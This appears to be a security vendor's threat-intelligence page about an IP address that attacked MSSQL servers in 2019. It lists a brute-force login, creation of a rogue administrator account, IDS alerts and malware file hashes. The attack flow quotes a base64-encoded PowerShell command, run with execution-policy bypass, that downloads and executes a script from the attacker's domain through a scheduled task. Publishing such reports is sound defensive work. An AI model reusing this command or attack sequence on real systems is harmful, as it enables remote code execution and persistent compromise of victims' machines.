IP Address: 171.243.27.163Previously Malicious

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IP Address:
171.243.27.163​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

PowerShell Execute MsSql Shell Command DNS Query Scheduled Task Creation Listening User Added to Group User Created MSSQL File Operation By CMD Access Suspicious Domain SMB Successful MSSQL Login CMD MSSQL Brute Force IDS - Attempted User Privilege Gain

Associated Attack Servers

v.beahh.com

Basic Information

IP Address

171.243.27.163

Domain

-

ISP

Viettel Group

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-06-16

Last seen in Guardicore Centra

2019-08-07

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: White List (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

MSSQL executed 2 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** and added to groups: Administrators

User Created User Added to Group

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

Process netsvcs Service Group started listening on ports: 65533

Listening

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: v.beahh.com

Access Suspicious Domain DNS Query

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Connection was closed due to user inactivity

Associated Files

\\server-backup\c$\zilnbirc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

C:\Windows\temp\svchost.exe

SHA256: 1de43c7b870ca581c832f5a29488b4d8d58dbbb53d75db6bc850c792c0172049

2990000 bytes

C:\Windows\temp\svchost.exe

SHA256: c8de1e54511fada428b8fc49fa820daecd53afd30dc70d40b192b96590fd5545

3185000 bytes

C:\Windows\temp\svchost.exe

SHA256: c05e09cceb761176b2444efb08a9d80e040c1a0068e401ed616a51b3166a255f

2795000 bytes

C:\Windows\temp\svchost.exe

SHA256: cf548388cb3aa76ace2f399afac101a17c7d461c8ed51ca8c2610714d15fda87

2405000 bytes

C:\Windows\temp\svchost.exe

SHA256: 8ca6eca5e95129d6c53dc01271617ef25049c58395c216c7bef4b90b053639af

3055000 bytes

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IP Address: 171.243.27.163​Previously Malicious